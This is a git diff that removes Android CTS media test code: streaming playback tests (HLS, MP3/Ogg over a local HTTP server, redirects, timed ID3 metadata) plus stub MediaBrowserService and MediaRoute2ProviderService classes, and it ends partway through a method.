-        String urlString = dynamicConfig.getValue(HTTP_H264_BASE_AAC_VIDEO_2_KEY);
-        playVideoTest(urlString, 640, 360);
-    }
-
-    // Streaming HLS video downloaded from YouTube
-    public void testHLS() throws Exception {
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-
-        // Play stream for 60 seconds
-        // limit rate to workaround multiplication overflow in framework
-        localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS, false /*isAudioOnly*/);
-    }
-
-    public void testHlsWithHeadersCookies() throws Exception {
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-
-        // TODO: fake values for headers/cookies till we find a server that actually needs them
-        HashMap<String, String> headers = new HashMap<>();
-        headers.put("header0", "value0");
-        headers.put("header1", "value1");
-
-        String cookieName = "auth_1234567";
-        String cookieValue = "0123456789ABCDEF0123456789ABCDEF";
-        HttpCookie cookie = new HttpCookie(cookieName, cookieValue);
-        cookie.setHttpOnly(true);
-        cookie.setDomain("www.youtube.com");
-        cookie.setPath("/");        // all paths
-        cookie.setSecure(false);
-        cookie.setDiscard(false);
-        cookie.setMaxAge(24 * 3600);  // 24hrs
-
-        java.util.Vector<HttpCookie> cookies = new java.util.Vector<HttpCookie>();
-        cookies.add(cookie);
-
-        // Play stream for 60 seconds
-        // limit rate to workaround multiplication overflow in framework
-        localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS, false /*isAudioOnly*/);
-    }
-
-    public void testHlsSampleAes_bbb_audio_only_overridable() throws Exception {
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-
-        // Play stream for 60 seconds
-        if (mInputUrl != null) {
-            // if url override provided
-            playLiveAudioOnlyTest(mInputUrl, 60 * 1000);
-        } else {
-            localHlsTest("audio_only/index.m3u8", 60 * 1000, -1, true /*isAudioOnly*/);
-        }
-
-    }
-
-    public void testHlsSampleAes_bbb_unmuxed_1500k() throws Exception {
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-        MediaFormat format = MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 1920, 1080);
-        String[] decoderNames = MediaUtils.getDecoderNames(false, format);
-
-        if (decoderNames.length == 0) {
-            MediaUtils.skipTest("No decoders for " + format);
-        } else {
-            // Play stream for 60 seconds
-            localHlsTest("unmuxed_1500k/index.m3u8", 60 * 1000, -1, false /*isAudioOnly*/);
-        }
-    }
-
-
-    // Streaming audio from local HTTP server
-    public void testPlayMp3Stream1() throws Throwable {
-        localHttpAudioStreamTest("ringer.mp3", false, false);
-    }
-    public void testPlayMp3Stream2() throws Throwable {
-        localHttpAudioStreamTest("ringer.mp3", false, false);
-    }
-    public void testPlayMp3StreamRedirect() throws Throwable {
-        localHttpAudioStreamTest("ringer.mp3", true, false);
-    }
-    public void testPlayMp3StreamNoLength() throws Throwable {
-        localHttpAudioStreamTest("noiseandchirps.mp3", false, true);
-    }
-    public void testPlayOggStream() throws Throwable {
-        localHttpAudioStreamTest("noiseandchirps.ogg", false, false);
-    }
-    public void testPlayOggStreamRedirect() throws Throwable {
-        localHttpAudioStreamTest("noiseandchirps.ogg", true, false);
-    }
-    public void testPlayOggStreamNoLength() throws Throwable {
-        localHttpAudioStreamTest("noiseandchirps.ogg", false, true);
-    }
-    public void testPlayMp3Stream1Ssl() throws Throwable {
-        localHttpsAudioStreamTest("ringer.mp3", false, false);
-    }
-
-    private void localHttpAudioStreamTest(final String name, boolean redirect, boolean nolength)
-            throws Throwable {
-        mServer = new CtsTestServer(mContext);
-        Preconditions.assertTestFileExists(mInpPrefix + name);
-        try {
-            String stream_url = null;
-            if (redirect) {
-                // Stagefright doesn't have a limit, but we can't test support of infinite redirects
-                // Up to 4 redirects seems reasonable though.
-                stream_url = mServer.getRedirectingAssetUrl(mInpPrefix + name, 4);
-            } else {
-                stream_url = mServer.getAssetUrl(mInpPrefix + name);
-            }
-            if (nolength) {
-                stream_url = stream_url + "?" + CtsTestServer.NOLENGTH_POSTFIX;
-            }
-
-            if (!MediaUtils.checkCodecsForPath(mContext, stream_url)) {
-                return; // skip
-            }
-
-            mMediaPlayer.setDataSource(stream_url);
-
-            mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
-            mMediaPlayer.setScreenOnWhilePlaying(true);
-
-            mOnBufferingUpdateCalled.reset();
-            mMediaPlayer.setOnBufferingUpdateListener(new MediaPlayer.OnBufferingUpdateListener() {
-                @Override
-                public void onBufferingUpdate(MediaPlayer mp, int percent) {
-                    mOnBufferingUpdateCalled.signal();
-                }
-            });
-            mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
-                @Override
-                public boolean onError(MediaPlayer mp, int what, int extra) {
-                    fail("Media player had error " + what + " playing " + name);
-                    return true;
-                }
-            });
-
-            assertFalse(mOnBufferingUpdateCalled.isSignalled());
-            mMediaPlayer.prepare();
-
-            if (nolength) {
-                mMediaPlayer.start();
-                Thread.sleep(LONG_SLEEP_TIME);
-                assertFalse(mMediaPlayer.isPlaying());
-            } else {
-                mOnBufferingUpdateCalled.waitForSignal();
-                mMediaPlayer.start();
-                Thread.sleep(SLEEP_TIME);
-            }
-            mMediaPlayer.stop();
-            mMediaPlayer.reset();
-        } finally {
-            mServer.shutdown();
-        }
-    }
-    private void localHttpsAudioStreamTest(final String name, boolean redirect, boolean nolength)
-            throws Throwable {
-        mServer = new CtsTestServer(mContext, true);
-        Preconditions.assertTestFileExists(mInpPrefix + name);
-        try {
-            String stream_url = null;
-            if (redirect) {
-                // Stagefright doesn't have a limit, but we can't test support of infinite redirects
-                // Up to 4 redirects seems reasonable though.
-                stream_url = mServer.getRedirectingAssetUrl(mInpPrefix + name, 4);
-            } else {
-                stream_url = mServer.getAssetUrl(mInpPrefix + name);
-            }
-            if (nolength) {
-                stream_url = stream_url + "?" + CtsTestServer.NOLENGTH_POSTFIX;
-            }
-
-            mMediaPlayer.setDataSource(stream_url);
-
-            mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
-            mMediaPlayer.setScreenOnWhilePlaying(true);
-
-            mOnBufferingUpdateCalled.reset();
-            mMediaPlayer.setOnBufferingUpdateListener(new MediaPlayer.OnBufferingUpdateListener() {
-                @Override
-                public void onBufferingUpdate(MediaPlayer mp, int percent) {
-                    mOnBufferingUpdateCalled.signal();
-                }
-            });
-            mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
-                @Override
-                public boolean onError(MediaPlayer mp, int what, int extra) {
-                    fail("Media player had error " + what + " playing " + name);
-                    return true;
-                }
-            });
-
-            assertFalse(mOnBufferingUpdateCalled.isSignalled());
-            try {
-                mMediaPlayer.prepare();
-            } catch (Exception ex) {
-                return;
-            }
-            fail("https playback should have failed");
-        } finally {
-            mServer.shutdown();
-        }
-    }
-
-    public void testPlayHlsStream() throws Throwable {
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-        localHlsTest("hls.m3u8", false, false, false /*isAudioOnly*/);
-    }
-
-    public void testPlayHlsStreamWithQueryString() throws Throwable {
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-        localHlsTest("hls.m3u8", true, false, false /*isAudioOnly*/);
-    }
-
-    public void testPlayHlsStreamWithRedirect() throws Throwable {
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-        localHlsTest("hls.m3u8", false, true, false /*isAudioOnly*/);
-    }
-
-    public void testPlayHlsStreamWithTimedId3() throws Throwable {
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            Log.d(TAG, "Device doesn't have video codec, skipping test");
-            return;
-        }
-
-        mServer = new CtsTestServer(mContext);
-        Preconditions.assertTestFileExists(mInpPrefix + "prog_index.m3u8");
-        try {
-            // counter must be final if we want to access it inside onTimedMetaData;
-            // use AtomicInteger so we can have a final counter object with mutable integer value.
-            final AtomicInteger counter = new AtomicInteger();
-            String stream_url = mServer.getAssetUrl(mInpPrefix + "prog_index.m3u8");
-            mMediaPlayer.setDataSource(stream_url);
-            mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
-            mMediaPlayer.setScreenOnWhilePlaying(true);
-            mMediaPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
-            mMediaPlayer.setOnTimedMetaDataAvailableListener(new MediaPlayer.OnTimedMetaDataAvailableListener() {
-                @Override
-                public void onTimedMetaDataAvailable(MediaPlayer mp, TimedMetaData md) {
-                    counter.incrementAndGet();
-                    int pos = mp.getCurrentPosition();
-                    long timeUs = md.getTimestamp();
-                    byte[] rawData = md.getMetaData();
-                    // Raw data contains an id3 tag holding the decimal string representation of
-                    // the associated time stamp rounded to the closest half second.
-
-                    int offset = 0;
-                    offset += 3; // "ID3"
-                    offset += 2; // version
-                    offset += 1; // flags
-                    offset += 4; // size
-                    offset += 4; // "TXXX"
-                    offset += 4; // frame size
-                    offset += 2; // frame flags
-                    offset += 1; // "\x03" : UTF-8 encoded Unicode
-                    offset += 1; // "\x00" : null-terminated empty description
-
-                    int length = rawData.length;
-                    length -= offset;
-                    length -= 1; // "\x00" : terminating null
-
-                    String data = new String(rawData, offset, length);
-                    int dataTimeUs = Integer.parseInt(data);
-                    assertTrue("Timed ID3 timestamp does not match content",
-                            Math.abs(dataTimeUs - timeUs) < 500000);
-                    assertTrue("Timed ID3 arrives after timestamp", pos * 1000 < timeUs);
-                }
-            });
-
-            final Object completion = new Object();
-            mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
-                int run;
-                @Override
-                public void onCompletion(MediaPlayer mp) {
-                    if (run++ == 0) {
-                        mMediaPlayer.seekTo(0);
-                        mMediaPlayer.start();
-                    } else {
-                        mMediaPlayer.stop();
-                        synchronized (completion) {
-                            completion.notify();
-                        }
-                    }
-                }
-            });
-
-            mMediaPlayer.prepare();
-            mMediaPlayer.start();
-            assertTrue("MediaPlayer not playing", mMediaPlayer.isPlaying());
-
-            int i = -1;
-            TrackInfo[] trackInfos = mMediaPlayer.getTrackInfo();
-            for (i = 0; i < trackInfos.length; i++) {
-                TrackInfo trackInfo = trackInfos[i];
-                if (trackInfo.getTrackType() == TrackInfo.MEDIA_TRACK_TYPE_METADATA) {
-                    break;
-                }
-            }
-            assertTrue("Stream has no timed ID3 track", i >= 0);
-            mMediaPlayer.selectTrack(i);
-
-            synchronized (completion) {
-                completion.wait();
-            }
-
-            // There are a total of 19 metadata access units in the test stream; every one of them
-            // should be received twice: once before the seek and once after.
-            assertTrue("Incorrect number of timed ID3s recieved", counter.get() == 38);
-        } finally {
-            mServer.shutdown();
-        }
-    }
-
-    private static class WorkerWithPlayer implements Runnable {
-        private final Object mLock = new Object();
-        private Looper mLooper;
-        private MediaPlayer mMediaPlayer;
-
-        /**
-         * Creates a worker thread with the given name. The thread
-         * then runs a {@link android.os.Looper}.
-         * @param name A name for the new thread
-         */
-        WorkerWithPlayer(String name) {
-            Thread t = new Thread(null, this, name);
-            t.setPriority(Thread.MIN_PRIORITY);
-            t.start();
-            synchronized (mLock) {
-                while (mLooper == null) {
-                    try {
-                        mLock.wait();
-                    } catch (InterruptedException ex) {
-                    }
-                }
-            }
-        }
-
-        public MediaPlayer getPlayer() {
-            return mMediaPlayer;
-        }
-
-        @Override
-        public void run() {
-            synchronized (mLock) {
-                Looper.prepare();
-                mLooper = Looper.myLooper();
-                mMediaPlayer = new MediaPlayer();
-                mLock.notifyAll();
-            }
-            Looper.loop();
-        }
-
-        public void quit() {
-            mLooper.quit();
-            mMediaPlayer.release();
-        }
-    }
-
-    public void testBlockingReadRelease() throws Throwable {
-
-        mServer = new CtsTestServer(mContext);
-
-        WorkerWithPlayer worker = new WorkerWithPlayer("player");
-        final MediaPlayer mp = worker.getPlayer();
-
-        Preconditions.assertTestFileExists(mInpPrefix + "noiseandchirps.ogg");
-        try {
-            String path = mServer.getDelayedAssetUrl(mInpPrefix + "noiseandchirps.ogg", 15000);
-            mp.setDataSource(path);
-            mp.setOnPreparedListener(new MediaPlayer.OnPreparedListener() {
-                @Override
-                public void onPrepared(MediaPlayer mp) {
-                    fail("prepare should not succeed");
-                }
-            });
-            mp.prepareAsync();
-            Thread.sleep(1000);
-            long start = SystemClock.elapsedRealtime();
-            mp.release();
-            long end = SystemClock.elapsedRealtime();
-            long releaseDuration = (end - start);
-            assertTrue("release took too long: " + releaseDuration, releaseDuration < 1000);
-        } catch (IllegalArgumentException e) {
-            fail(e.getMessage());
-        } catch (SecurityException e) {
-            fail(e.getMessage());
-        } catch (IllegalStateException e) {
-            fail(e.getMessage());
-        } catch (IOException e) {
-            fail(e.getMessage());
-        } catch (InterruptedException e) {
-            fail(e.getMessage());
-        } finally {
-            mServer.shutdown();
-        }
-
-        // give the worker a bit of time to start processing the message before shutting it down
-        Thread.sleep(5000);
-        worker.quit();
-    }
-
-    private void localHlsTest(final String name, boolean appendQueryString,
-            boolean redirect, boolean isAudioOnly) throws Exception {
-        localHlsTest(name, null, null, appendQueryString, redirect, 10, -1, isAudioOnly);
-    }
-
-    private void localHlsTest(final String name, int playTime, int bitsPerMs, boolean isAudioOnly)
-            throws Exception {
-        localHlsTest(name, null, null, false, false, playTime, bitsPerMs, isAudioOnly);
-    }
-
-    private void localHlsTest(String name, Map<String, String> headers, List<HttpCookie> cookies,
-            boolean appendQueryString, boolean redirect, int playTime, int bitsPerMs,
-            boolean isAudioOnly) throws Exception {
-        if (bitsPerMs >= 0) {
-            mServer = new CtsTestServer(mContext) {
-                @Override
-                protected DefaultHttpServerConnection createHttpServerConnection() {
-                    return new RateLimitHttpServerConnection(bitsPerMs);
-                }
-            };
-        } else {
-            mServer = new CtsTestServer(mContext);
-        }
-        Preconditions.assertTestFileExists(mInpPrefix + name);
-        try {
-            String stream_url = null;
-            if (redirect) {
-                stream_url = mServer.getQueryRedirectingAssetUrl(mInpPrefix + name);
-            } else {
-                stream_url = mServer.getAssetUrl(mInpPrefix + name);
-            }
-            if (appendQueryString) {
-                stream_url += "?foo=bar/baz";
-            }
-            if (isAudioOnly) {
-                playLiveAudioOnlyTest(Uri.parse(stream_url), headers, cookies, playTime);
-            } else {
-                playLiveVideoTest(Uri.parse(stream_url), headers, cookies, playTime);
-            }
-        } finally {
-            mServer.shutdown();
-        }
-    }
-
-    private static final class RateLimitHttpServerConnection extends DefaultHttpServerConnection {
-
-        private final int mBytesPerMs;
-        private int mBytesWritten;
-
-        public RateLimitHttpServerConnection(int bitsPerMs) {
-            mBytesPerMs = bitsPerMs / 8;
-        }
-
-        @Override
-        protected SessionOutputBuffer createHttpDataTransmitter(
-                Socket socket, int buffersize, HttpParams params) throws IOException {
-            return createSessionOutputBuffer(socket, buffersize, params);
-        }
-
-        SessionOutputBuffer createSessionOutputBuffer(
-                Socket socket, int buffersize, HttpParams params) throws IOException {
-            return new SocketOutputBuffer(socket, buffersize, params) {
-                @Override
-                public void write(int b) throws IOException {
-                    write(new byte[] {(byte)b});
-                }
-
-                @Override
-                public void write(byte[] b) throws IOException {
-                    write(b, 0, b.length);
-                }
-
-                @Override
-                public synchronized void write(byte[] b, int off, int len) throws IOException {
-                    mBytesWritten += len;
-                    if (mBytesWritten >= mBytesPerMs * 10) {
-                        int r = mBytesWritten % mBytesPerMs;
-                        int nano = 999999 * r / mBytesPerMs;
-                        delay(mBytesWritten / mBytesPerMs, nano);
-                        mBytesWritten = 0;
-                    }
-                    super.write(b, off, len);
-                }
-
-                private void delay(long millis, int nanos) throws IOException {
-                    try {
-                        Thread.sleep(millis, nanos);
-                        flush();
-                    } catch (InterruptedException e) {
-                        throw new InterruptedIOException();
-                    }
-                }
-
-            };
-        }
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java b/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java
deleted file mode 100644
index f9ec34c..0000000
--- a/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java
+++ /dev/null
@@ -1,161 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.annotation.NonNull;
-import android.media.MediaDescription;
-import android.media.browse.MediaBrowser.MediaItem;
-import android.media.session.MediaSession;
-import android.media.session.MediaSessionManager;
-import android.os.Bundle;
-import android.service.media.MediaBrowserService;
-
-import junit.framework.Assert;
-
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Stub implementation of (@link android.service.media.MediaBrowserService}.
- */
-public class StubMediaBrowserService extends MediaBrowserService {
-    static final String EXTRAS_KEY = "test_extras_key";
-    static final String EXTRAS_VALUE = "test_extras_value";
-
-    static final String MEDIA_ID_INVALID = "test_media_id_invalid";
-    static final String MEDIA_ID_ROOT = "test_media_id_root";
-    static final String MEDIA_ID_CHILDREN_DELAYED = "test_media_id_children_delayed";
-
-    static final String[] MEDIA_ID_CHILDREN = new String[] {
-        "test_media_id_children_0", "test_media_id_children_1",
-        "test_media_id_children_2", "test_media_id_children_3",
-        MEDIA_ID_CHILDREN_DELAYED
-    };
-
-    static StubMediaBrowserService sInstance;
-
-    static MediaSession sSession;
-    static MediaSessionManager.RemoteUserInfo sBrowserInfo;
-
-    private Bundle mExtras;
-    private Result<List<MediaItem>> mPendingLoadChildrenResult;
-    private Result<MediaItem> mPendingLoadItemResult;
-    private Bundle mPendingRootHints;
-    private final Map<String, List<MediaItem>> mChildrenMap = new HashMap<>();
-
-    public static void clearBrowserInfo() {
-        sBrowserInfo = null;
-    }
-
-    @Override
-    public void onCreate() {
-        super.onCreate();
-        sInstance = this;
-        sSession = new MediaSession(this, "StubMediaBrowserService");
-        setSessionToken(sSession.getSessionToken());
-    }
-
-    @Override
-    public void onDestroy() {
-        super.onDestroy();
-        sSession.release();
-        sInstance = null;
-        sSession = null;
-    }
-
-    @Override
-    public BrowserRoot onGetRoot(String clientPackageName, int clientUid, Bundle rootHints) {
-        sBrowserInfo = getCurrentBrowserInfo();
-        mExtras = new Bundle();
-        mExtras.putString(EXTRAS_KEY, EXTRAS_VALUE);
-        return new BrowserRoot(MEDIA_ID_ROOT, mExtras);
-    }
-
-    @Override
-    public void onLoadChildren(final String parentMediaId, final Result<List<MediaItem>> result) {
-        List<MediaItem> mediaItems = new ArrayList<>();
-        if (MEDIA_ID_ROOT.equals(parentMediaId)) {
-            Bundle rootHints = getBrowserRootHints();
-            for (String id : MEDIA_ID_CHILDREN) {
-                mediaItems.add(new MediaItem(new MediaDescription.Builder()
-                        .setMediaId(id).setExtras(rootHints).build(), MediaItem.FLAG_BROWSABLE));
-            }
-            sBrowserInfo = getCurrentBrowserInfo();
-            result.sendResult(mediaItems);
-        } else if (MEDIA_ID_CHILDREN_DELAYED.equals(parentMediaId)) {
-            Assert.assertNull(mPendingLoadChildrenResult);
-            mPendingLoadChildrenResult = result;
-            mPendingRootHints = getBrowserRootHints();
-            result.detach();
-        } else if (MEDIA_ID_INVALID.equals(parentMediaId)) {
-            result.sendResult(null);
-        } else if (mChildrenMap.containsKey(parentMediaId)) {
-            result.sendResult(mChildrenMap.get(parentMediaId));
-        }
-    }
-
-    @Override
-    public void onLoadItem(String itemId, Result<MediaItem> result) {
-        if (MEDIA_ID_CHILDREN_DELAYED.equals(itemId)) {
-            mPendingLoadItemResult = result;
-            mPendingRootHints = getBrowserRootHints();
-            result.detach();
-            return;
-        }
-
-        for (String id : MEDIA_ID_CHILDREN) {
-            if (id.equals(itemId)) {
-                result.sendResult(new MediaItem(new MediaDescription.Builder()
-                        .setMediaId(id).setExtras(getBrowserRootHints()).build(),
-                                MediaItem.FLAG_BROWSABLE));
-                sBrowserInfo = getCurrentBrowserInfo();
-                return;
-            }
-        }
-
-        super.onLoadItem(itemId, result);
-    }
-
-    public void putChildrenToMap(@NonNull String parentMediaId, @NonNull List<MediaItem> children) {
-        mChildrenMap.put(parentMediaId, children);
-    }
-
-    public void removeChildrenFromMap(@NonNull String parentMediaId) {
-        mChildrenMap.remove(parentMediaId);
-    }
-
-    public void sendDelayedNotifyChildrenChanged() {
-        if (mPendingLoadChildrenResult != null) {
-            mPendingLoadChildrenResult.sendResult(Collections.<MediaItem>emptyList());
-            mPendingRootHints = null;
-            mPendingLoadChildrenResult = null;
-        }
-    }
-
-    public void sendDelayedItemLoaded() {
-        if (mPendingLoadItemResult != null) {
-            mPendingLoadItemResult.sendResult(new MediaItem(new MediaDescription.Builder()
-                    .setMediaId(MEDIA_ID_CHILDREN_DELAYED).setExtras(mPendingRootHints).build(),
-                            MediaItem.FLAG_BROWSABLE));
-            mPendingRootHints = null;
-            mPendingLoadItemResult = null;
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/StubMediaRoute2ProviderService.java b/tests/tests/media/src/android/media/cts/StubMediaRoute2ProviderService.java
deleted file mode 100644
index efe4859..0000000
--- a/tests/tests/media/src/android/media/cts/StubMediaRoute2ProviderService.java
+++ /dev/null
@@ -1,454 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static android.media.MediaRoute2Info.FEATURE_LIVE_AUDIO;
-import static android.media.MediaRoute2Info.PLAYBACK_VOLUME_VARIABLE;
-
-import android.annotation.NonNull;
-import android.annotation.Nullable;
-import android.content.Intent;
-import android.media.MediaRoute2Info;
-import android.media.MediaRoute2ProviderService;
-import android.media.RouteDiscoveryPreference;
-import android.media.RoutingSessionInfo;
-import android.os.Bundle;
-import android.os.IBinder;
-import android.text.TextUtils;
-
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.Objects;
-
-import javax.annotation.concurrent.GuardedBy;
-
-public class StubMediaRoute2ProviderService extends MediaRoute2ProviderService {
-    private static final String TAG = "SampleMR2ProviderSvc";
-    private static final Object sLock = new Object();
-
-    public static final String ROUTE_ID1 = "route_id1";
-    public static final String ROUTE_NAME1 = "Sample Route 1";
-    public static final String ROUTE_ID2 = "route_id2";
-    public static final String ROUTE_NAME2 = "Sample Route 2";
-    public static final String ROUTE_ID3_SESSION_CREATION_FAILED =
-            "route_id3_session_creation_failed";
-    public static final String ROUTE_NAME3 = "Sample Route 3 - Session creation failed";
-    public static final String ROUTE_ID4_TO_SELECT_AND_DESELECT =
-            "route_id4_to_select_and_deselect";
-    public static final String ROUTE_NAME4 = "Sample Route 4 - Route to select and deselect";
-    public static final String ROUTE_ID5_TO_TRANSFER_TO = "route_id5_to_transfer_to";
-    public static final String ROUTE_NAME5 = "Sample Route 5 - Route to transfer to";
-
-    public static final String ROUTE_ID_SPECIAL_FEATURE = "route_special_feature";
-    public static final String ROUTE_NAME_SPECIAL_FEATURE = "Special Feature Route";
-
-    public static final int INITIAL_VOLUME = 30;
-    public static final int VOLUME_MAX = 100;
-    public static final int SESSION_VOLUME_MAX = 50;
-    public static final int SESSION_VOLUME_INITIAL = 20;
-
-    public static final String ROUTE_ID_FIXED_VOLUME = "route_fixed_volume";
-    public static final String ROUTE_NAME_FIXED_VOLUME = "Fixed Volume Route";
-    public static final String ROUTE_ID_VARIABLE_VOLUME = "route_variable_volume";
-    public static final String ROUTE_NAME_VARIABLE_VOLUME = "Variable Volume Route";
-
-    public static final String FEATURE_SAMPLE = "android.media.cts.FEATURE_SAMPLE";
-    public static final String FEATURE_SPECIAL = "android.media.cts.FEATURE_SPECIAL";
-
-    public static final List<String> FEATURES_ALL = new ArrayList();
-    public static final List<String> FEATURES_SPECIAL = new ArrayList();
-
-    static {
-        FEATURES_ALL.add(FEATURE_SAMPLE);
-        FEATURES_ALL.add(FEATURE_SPECIAL);
-        FEATURES_ALL.add(FEATURE_LIVE_AUDIO);
-
-        FEATURES_SPECIAL.add(FEATURE_SPECIAL);
-    }
-
-    Map<String, MediaRoute2Info> mRoutes = new HashMap<>();
-    Map<String, String> mRouteIdToSessionId = new HashMap<>();
-    private int mNextSessionId = 1000;
-
-    @GuardedBy("sLock")
-    private static StubMediaRoute2ProviderService sInstance;
-    private Proxy mProxy;
-
-    public void initializeRoutes() {
-        MediaRoute2Info route1 = new MediaRoute2Info.Builder(ROUTE_ID1, ROUTE_NAME1)
-                .addFeature(FEATURE_SAMPLE)
-                .build();
-        MediaRoute2Info route2 = new MediaRoute2Info.Builder(ROUTE_ID2, ROUTE_NAME2)
-                .addFeature(FEATURE_SAMPLE)
-                .build();
-        MediaRoute2Info route3 = new MediaRoute2Info.Builder(
-                ROUTE_ID3_SESSION_CREATION_FAILED, ROUTE_NAME3)
-                .addFeature(FEATURE_SAMPLE)
-                .build();
-        MediaRoute2Info route4 = new MediaRoute2Info.Builder(
-                ROUTE_ID4_TO_SELECT_AND_DESELECT, ROUTE_NAME4)
-                .addFeature(FEATURE_SAMPLE)
-                .build();
-        MediaRoute2Info route5 = new MediaRoute2Info.Builder(
-                ROUTE_ID5_TO_TRANSFER_TO, ROUTE_NAME5)
-                .addFeature(FEATURE_SAMPLE)
-                .build();
-        MediaRoute2Info routeSpecial =
-                new MediaRoute2Info.Builder(ROUTE_ID_SPECIAL_FEATURE, ROUTE_NAME_SPECIAL_FEATURE)
-                        .addFeature(FEATURE_SAMPLE)
-                        .addFeature(FEATURE_SPECIAL)
-                        .build();
-        MediaRoute2Info fixedVolumeRoute =
-                new MediaRoute2Info.Builder(ROUTE_ID_FIXED_VOLUME, ROUTE_NAME_FIXED_VOLUME)
-                        .addFeature(FEATURE_SAMPLE)
-                        .setVolumeHandling(MediaRoute2Info.PLAYBACK_VOLUME_FIXED)
-                        .build();
-        MediaRoute2Info variableVolumeRoute =
-                new MediaRoute2Info.Builder(ROUTE_ID_VARIABLE_VOLUME, ROUTE_NAME_VARIABLE_VOLUME)
-                        .addFeature(FEATURE_SAMPLE)
-                        .setVolumeHandling(PLAYBACK_VOLUME_VARIABLE)
-                        .setVolume(INITIAL_VOLUME)
-                        .setVolumeMax(VOLUME_MAX)
-                        .build();
-
-        mRoutes.put(route1.getId(), route1);
-        mRoutes.put(route2.getId(), route2);
-        mRoutes.put(route3.getId(), route3);
-        mRoutes.put(route4.getId(), route4);
-        mRoutes.put(route5.getId(), route5);
-        mRoutes.put(routeSpecial.getId(), routeSpecial);
-        mRoutes.put(fixedVolumeRoute.getId(), fixedVolumeRoute);
-        mRoutes.put(variableVolumeRoute.getId(), variableVolumeRoute);
-    }
-
-    public static StubMediaRoute2ProviderService getInstance() {
-        synchronized (sLock) {
-            return sInstance;
-        }
-    }
-
-    public void clear() {
-        mProxy = null;
-        mRoutes.clear();
-        mRouteIdToSessionId.clear();
-        for (RoutingSessionInfo sessionInfo : getAllSessionInfo()) {
-            notifySessionReleased(sessionInfo.getId());
-        }
-    }
-
-    public void setProxy(@Nullable Proxy proxy) {
-        mProxy = proxy;
-    }
-
-    @Override
-    public void onCreate() {
-        super.onCreate();
-        synchronized (sLock) {
-            sInstance = this;
-        }
-    }
-
-    @Override
-    public void onDestroy() {
-        super.onDestroy();
-        synchronized (sLock) {
-            if (sInstance == this) {
-                sInstance = null;
-            }
-        }
-    }
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        return super.onBind(intent);
-    }
-
-    @Override
-    public void onSetRouteVolume(long requestId, String routeId, int volume) {
-        MediaRoute2Info route = mRoutes.get(routeId);
-        if (route == null) {
-            return;
-        }
-        volume = Math.max(0, Math.min(volume, route.getVolumeMax()));
-        mRoutes.put(routeId, new MediaRoute2Info.Builder(route)
-                .setVolume(volume)
-                .build());
-        publishRoutes();
-    }
-
-    @Override
-    public void onSetSessionVolume(long requestId, String sessionId, int volume) {
-        RoutingSessionInfo sessionInfo = getSessionInfo(sessionId);
-        if (sessionInfo == null) {
-            return;
-        }
-        volume = Math.max(0, Math.min(volume, sessionInfo.getVolumeMax()));
-        RoutingSessionInfo newSessionInfo = new RoutingSessionInfo.Builder(sessionInfo)
-                .setVolume(volume)
-                .build();
-        notifySessionUpdated(newSessionInfo);
-    }
-
-    @Override
-    public void onCreateSession(long requestId, String packageName, String routeId,
-            @Nullable Bundle sessionHints) {
-        Proxy proxy = mProxy;
-        if (doesProxyOverridesMethod(proxy, "onCreateSession")) {
-            proxy.onCreateSession(requestId, packageName, routeId, sessionHints);
-            return;
-        }
-
-        MediaRoute2Info route = mRoutes.get(routeId);
-        if (route == null || TextUtils.equals(ROUTE_ID3_SESSION_CREATION_FAILED, routeId)) {
-            notifyRequestFailed(requestId, REASON_UNKNOWN_ERROR);
-            return;
-        }
-        maybeDeselectRoute(routeId, requestId);
-
-        final String sessionId = String.valueOf(mNextSessionId);
-        mNextSessionId++;
